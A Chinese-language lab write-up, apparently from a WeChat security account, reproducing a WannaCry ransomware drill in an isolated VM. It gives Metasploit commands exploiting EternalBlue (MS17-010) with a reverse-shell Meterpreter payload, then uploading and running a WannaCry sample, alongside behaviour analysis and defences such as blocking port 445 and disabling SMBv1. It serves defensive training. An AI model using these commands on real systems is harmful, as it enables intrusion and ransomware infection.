实验室实录:5步复现WannaCry攻击链,永恒之蓝漏洞攻防全解析
实验介绍
主要是集团要求需要做一次类似于勒索病毒的应急演练,然后在小群问了一圈,看也感谢大佬们。 本实验通过模拟WannaCry勒索病毒攻击的完整过程,深入分析基于永恒之蓝漏洞(MS17-010)的攻击原理、传播方式和防御手段。实验在受控的虚拟环境中进行,使用Windows 7作为靶机系统,Kali Linux作为攻击平台。
实验目的
-
理解永恒之蓝漏洞(MS17-010)的攻击原理 -
掌握WannaCry勒索病毒的传播机制与行为特征 -
学习通过端口和漏洞扫描识别系统脆弱性 -
实践针对勒索病毒的有效防御措施 -
培养网络安全意识和应急响应能力
注意事项
-
本实验仅在隔离的虚拟机环境中进行 -
实验中使用的是无害化的WannaCry模拟样本 -
禁止在任何生产环境或真实网络中进行此类测试 -
实验完成后需恢复虚拟机快照
攻击原理
永恒之蓝漏洞(MS17-010)
永恒之蓝是一个利用Windows系统中Server Message Block (SMB)协议漏洞(CVE-2017-0144)进行攻击的高级漏洞利用工具。该漏洞允许攻击者在未授权的情况下远程执行代码,是由美国国家安全局(NSA)开发,并在2017年4月被黑客组织"影子经纪人"(Shadow Brokers)泄露。
永恒之蓝通过发送特制的数据包到目标计算机的445端口(SMB服务),利用SMBv1协议在处理Trans2请求时的缓冲区溢出缺陷,实现远程代码执行。攻击流程如下:
-
攻击者向目标445端口发送恶意构造的SMBv1请求 -
利用缓冲区溢出漏洞覆盖函数指针或返回地址 -
控制程序执行流程,加载并执行Shellcode -
建立与攻击机的反向连接 -
部署后续攻击载荷
受影响系统版本:
|
|
|
---|---|---|
|
|
|
|
|
|
WannaCry勒索病毒
WannaCry是一种结合了蠕虫传播能力的勒索软件,于2017年5月在全球范围爆发。其工作机制:
-
利用永恒之蓝漏洞在内网横向传播 -
使用RSA-2048和AES-128加密算法加密文件 -
修改文件后缀为 .WNCRYT
-
在每个目录下创建勒索提示文件 @[email protected]
-
创建自启动项确保重启后继续运行 -
显示勒索界面要求支付比特币赎金
独特机制:
病毒首先尝试连接"www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com"域名。如果连接成功,病毒会停止运行;如果连接失败(域名未注册),则开始加密文件。
环境准备
Windows 7 靶机配置
关闭防火墙
为模拟易受攻击的环境,需关闭Windows防火墙:
-
进入控制面板 → 系统和安全 → Windows防火墙 -
点击"打开或关闭Windows防火墙" -
选择"关闭Windows防火墙"并确认
准备测试文件
为全面测试WannaCry的加密行为,创建多种类型的文件:
-
文档:txt, doc, docx, ppt, pptx, xls, xlsx, pdf -
代码:c, cpp, java, py, js, html, css -
压缩文件:zip, rar, 7z -
多媒体:jpg, png, mp3, mp4, avi -
其他:exe, dll, ps1, vbs
文件大小控制在10KB-5MB之间,分布在用户目录的不同位置。
安装分析工具
为监控和分析病毒行为,安装以下工具:
-
PCHunter:内核级系统分析工具 -
Process Monitor:实时监控文件、注册表和网络活动 -
Wireshark:网络流量分析工具 -
Autoruns:启动项管理工具
Kali Linux 攻击机配置
准备病毒样本
从GitHub获取无害化的WannaCry模拟样本:
https://github.com/zR00t1/WannaCry
最后也可以通过annacry进行修复: annacry是一个C#控制台程序,用于批量恢复被Wannacry.exe “加密”的文件并恢复Windows系统默认壁纸,源码在Anti_WannaCry文件夹下 使用方法: 将Anti_WannaCry.exe放置于需要恢复的目录下双击运行即可,只能恢复当前目录下的文件。
安装必要工具
确保以下工具已安装:
sudo apt updatesudo apt install -y metasploit-framework nmap wireshark
信息搜集
端口扫描
使用Nmap扫描靶机开放端口,确认445端口状态:
nmap -sT -p 445 172.29.65.64
漏洞扫描
使用Nmap脚本引擎检测MS17-010漏洞:
nmap -p 445 --script smb-vuln-ms17-010 172.29.65.64
漏洞利用
使用Metasploit框架利用永恒之蓝漏洞:
msfconsoleuse exploit/windows/smb/ms17_010_eternalblueset RHOST 172.29.65.64set PAYLOAD windows/x64/meterpreter/reverse_tcpset LHOST 172.29.65.128exploit
使用Wireshark分析攻击流量,可观察到明显的payload特征:
渗透与远程命令执行
获取Meterpreter会话后,上传并执行WannaCry样本:
upload /home/kali/Desktop/WannaCry.exe C:\execute -f C:\WannaCry.exe
病毒执行后,目标系统立即出现以下症状:
-
桌面壁纸被更改为勒索提示 -
弹出勒索窗口要求支付比特币 -
用户文件被加密并添加 .WNCRY
后缀 -
每个目录下出现勒索提示文件 -
创建自启动项确保持久化
病毒行为分析
病毒特征
WannaCry执行后的主要行为特征:
-
修改桌面壁纸为勒索提示 -
弹出勒索窗口要求支付比特币 -
加密文档、图片、视频等用户文件 -
添加 .WNCRY
后缀到加密文件 -
在每个目录创建 @[email protected]
和@[email protected]
-
创建自启动项实现持久化
网络行为分析
使用netstat命令查看网络连接:
netstat -ano | findstr "ESTABLISHED"
可观察到与攻击机的连接以及病毒尝试连接C2服务器的行为:
启动项分析
在系统配置中检查启动项:
-
运行 msconfig
打开系统配置 -
切换到"启动"选项卡 -
发现可疑的WannaCry启动项
防御措施
关闭高危端口
通过防火墙阻止445端口访问:
-
控制面板 → 系统和安全 → Windows防火墙 -
高级设置 → 入站规则 → 新建规则 -
选择"端口" → TCP → 特定本地端口:445 -
选择"阻止连接" → 命名规则并完成
禁用SMBv1协议
通过注册表禁用SMBv1协议:
-
运行 regedit
打开注册表编辑器 -
导航至 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters
-
新建DWORD(32位)值,命名为 SMB1
-
设置数值数据为 0
验证防御效果
-
重启靶机应用防御措施 -
从攻击机重复渗透尝试 -
观察漏洞利用失败结果
总结与思考
关键发现
-
永恒之蓝漏洞危害:MS17-010漏洞利用简单但危害极大,可导致系统完全沦陷 -
WannaCry传播机制:结合蠕虫传播能力的勒索软件可在内网快速扩散 -
文件加密特性:主要针对文档、图片等用户文件,部分格式文件可能幸免 -
持久化机制:通过注册表启动项确保系统重启后继续运行 -
有效防御手段:关闭445端口+禁用SMBv1协议可完全阻断此类攻击
防护建议
-
及时更新系统:确保所有设备安装最新安全补丁 -
最小化端口开放:非必要不开放SMB(445)等高危端口 -
禁用过时协议:在企业环境中全面禁用SMBv1协议 -
网络分段隔离:对关键服务器实施网络隔离,限制横向移动 -
定期漏洞扫描:使用Nessus、OpenVAS等工具进行定期漏洞评估 -
多层防御体系:部署防火墙、IDS/IPS、终端防护等多层安全措施
实验启示
本次实验深刻展示了:
-
未修补漏洞的系统在互联网中的脆弱性 -
勒索病毒从渗透到执行的完整攻击链 -
基本安全配置对防御高级威胁的有效性 -
持续安全防护的必要性和紧迫性
安全是一个持续的过程,而非一次性任务。 只有通过持续监控、及时更新和深度防御,才能在日益复杂的网络威胁环境中保持安全态势。
原文始发于微信公众号(网络安全与取证研究):WannaCry勒索病毒应急演练预案完整版
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论